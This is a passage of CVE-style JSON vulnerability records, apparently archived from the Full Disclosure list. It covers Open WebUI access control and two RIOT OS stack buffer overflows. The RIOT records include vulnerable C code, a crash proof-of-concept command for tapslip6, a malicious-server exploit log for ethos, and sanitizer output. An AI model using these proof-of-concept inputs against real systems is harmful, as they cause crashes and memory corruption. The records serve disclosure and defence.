URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Timo M\u00fcller / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:49:20Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/4"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/4"
        },
        {
          "url": "http://blog.sec-consult.com"
        },
        {
          "url": "https://github.com/open-webui/open-webui/blob/2b26355002064228e9b671339f8f3fb9d1fafa73/backend/open_webui/routers/tools.py#L513-L531"
        },
        {
          "url": "https://github.com/open-webui/open-webui/commit/f949d17db1e62e0b79aecbbcbcabe3d57d8d4af6"
        },
        {
          "url": "https://github.com/open-webui/open-webui/releases"
        },
        {
          "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-7429-hxcv-268m"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://openwebui.com"
        },
        {
          "url": "https://openwebui.com/"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/4"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260401-0 :: Broken Access Control in Open WebUI",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-34222",
              "type": "related"
            },
            {
              "destId": "GHSA-7429-HXCV-268M",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0273",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/4",
            "automated": true,
            "contentSha256": "b2be6ddec114650ae4b098be41d0e6356384de00fddf1cb618a6da830ebcf4aa",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/4",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-01T10:54:01Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0273"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:43Z",
    "dateUpdated": "2026-09-09T13:49:20Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0273"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "RIOT OS",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A stack-based buffer overflow vulnerability exists in the tapslip6 utility\ndistributed with RIOT OS (and derived from the legacy uIP/Contiki\nnetworking tools). The vulnerability is caused by unsafe string\nconcatenation in the devopen() function, which constructs a device path\nusing unbounded user-controlled input.\nSpecifically, tapslip6 uses strcpy() and strcat() to concatenate the fixed\nprefix \"/dev/\" with a user-supplied device name provided via the -s\ncommand-line option. No bounds checking is performed, allowing an attacker\nto supply an excessively long device name and overflow a fixed-size stack\nbuffer. This issue can lead to process crashes and memory corruption. While\nexploitation requires local access, the affected utility is commonly\nexecuted with elevated privileges during development, testing, or\ndeployment of RIOT OS networking environments, increasing impact.\n\n\n\n*Root Cause:*int devopen(const char *dev, int flags)\n{\n    char t[1024];\n    strcpy(t, \"/dev/\");\n    strcat(t, dev);\n    return open(t, flags);\n}\n\n*Impact:*\n\n   - Stack-based buffer overflow\n   - Process termination (Denial of Service)\n   - Memory corruption\n\n\n\n\n*Proof of Concept:*./tapslip6 -s $(python3 - \u003c\u003c \u0027EOF\u0027\nprint(\"A\"*3000)\nEOF\n) 10.0.0.1 255.255.255.0\n\n\n\n*Output:*=================================================================\n==492967==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbffa6001140 at pc 0xaaaab3e609a4 bp 0xffffd6e212c0 sp 0xffffd6e20ab0\nWRITE of size 3001 at 0xfbffa6001140 thread T0\n    #0 0xaaaab3e609a0 in strcat\n(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)\n    #1 0xaaaab3ec04f0 in devopen\n/root/RIOT/dist/tools/tunslip/tapslip6.c:420:5\n    #2 0xaaaab3ec04f0 in main\n/root/RIOT/dist/tools/tunslip/tapslip6.c:629:18\n    #3 0xffffa7a42598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #4 0xffffa7a42678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #5 0xaaaab3dd73ec in _start\n(/root/RIOT/dist/tools/tunslip/tapslip6+0x373ec) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)\n\nAddress 0xfbffa6001140 is located in stack of thread T0 at offset 4416 in\nframe\n    #0 0xaaaab3ebfef8 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:543\n\nSUMMARY: AddressSanitizer: stack-buffer-overflow\n(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) in strcat\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:42:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/15"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/15"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/15"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2021-27427",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0317",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/15",
            "automated": true,
            "contentSha256": "8c077fa2184f92c4a9ea9ea71d6967479a85d54ed3995a81392242f5423afcc0",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/15",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-08T15:42:45Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0317"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:42:56Z",
    "dateUpdated": "2026-09-09T13:42:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0317"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "RIOT OS",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A stack-based buffer overflow vulnerability exists in the RIOT OS ethos\nutility due to missing bounds checking when processing incoming serial\nframe data. The vulnerability occurs in the _handle_char() function, where\nincoming frame bytes are appended to a fixed-size stack buffer\n(serial-\u003eframe) without verifying that the current write index\n(serial-\u003eframebytes) remains within bounds. An attacker capable of sending\ncrafted serial or TCP-framed input can cause serial-\u003eframebytes to exceed\nthe buffer size (MTU, 9000 bytes), resulting in a write past the end of the\nstack buffer. This condition leads to memory corruption, application crash,\nand potentially arbitrary code execution depending on compiler options and\nruntime protections.\n\n\n*Vulnerable Code:*\nstatic void _handle_char(serial_t *serial, char c)\n{\n    serial-\u003eframe[serial-\u003eframebytes] = c;\n    serial-\u003eframebytes++;\n}\n\n*Root Cause:*\n\n* serial-\u003eframe is a fixed-size stack buffer (char frame[MTU])\n* serial-\u003eframebytes is unbounded and attacker-controlled\n* No validation against MTU before writing\n\n\n\n*Proof of Concept:*\n\n\n*listener:*# python3 payload.py\n\nThis exploit acts as a MALICIOUS SERVER.\nRun ethos like: ./ethos tap0 tcp:127.0.0.1 20000\nThe exploit will send the payload when ethos connects.\n\n\n[*] Starting malicious server on 0.0.0.0:20000\n[*] Architecture: aarch64\n[*] Exploitation mode: crash\n\n[+] Server listening on 0.0.0.0:20000\n\n[!] Waiting for ethos to connect...\n[*] Run ethos like this:\n  ./ethos tap0 tcp:127.0.0.1 20000\n\n[+] ethos client connected from (\u0027127.0.0.1\u0027, 37114)\n[*] Generating crash payload...\n[+] Crash payload ready: 9501 bytes\n[*] Waiting 1 second before sending payload...\n[*] Sending malicious payload (9501 bytes)...\n[*] Sent 1024/9501 bytes...\n[*] Sent 2048/9501 bytes...\n[*] Sent 3072/9501 bytes...\n[*] Sent 4096/9501 bytes...\n[*] Sent 5120/9501 bytes...\n[*] Sent 6144/9501 bytes...\n[*] Sent 7168/9501 bytes...\n[*] Sent 8192/9501 bytes...\n[*] Sent 9216/9501 bytes...\n[*] Sent 9501/9501 bytes...\n[+] Payload sent successfully!\n[!] ethos client should crash now (check for ASAN output)\n[*] Received response:\nb\u0027~}\"\\x00\\x00\\x00\\x00\\x00\\x00~~}\"\\x00\\x00\\x00\\x00\\x00\\x00~\u0027\n[*] Connection from (\u0027127.0.0.1\u0027, 37114) closed\n\n\n\n*Connection:*\n./ethos tap0 tcp:127.0.0.1 20000\n\n\n\n*Output:*----\u003e ethos: sending hello.\n----\u003e ethos: activating serial pass through.\nethos.c:186:5: runtime error: index 9000 out of bounds for type \u0027char[9000]\u0027\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5\n=================================================================\n==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418\nWRITE of size 1 at 0xfbff8f804848 thread T0\n    #0 0xaaaae0b9facc in _handle_char\n/root/RIOT/dist/tools/ethos/ethos.c:186:39\n    #1 0xaaaae0b9ed38 in _serial_handle_byte\n/root/RIOT/dist/tools/ethos/ethos.c:216:17\n    #2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34\n    #3 0xffff91162598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec)\n(BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:42:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/16"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2021-27427",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0316",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16",
            "automated": true,
            "contentSha256": "63267818b090ebf6c24cf8bc4bb438065e200145a28492f0ccdbca2b2dda8293",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-10T05:26:58Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0316"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:42:56Z",
    "dateUpdated": "2026-09-09T13:42:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0316"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}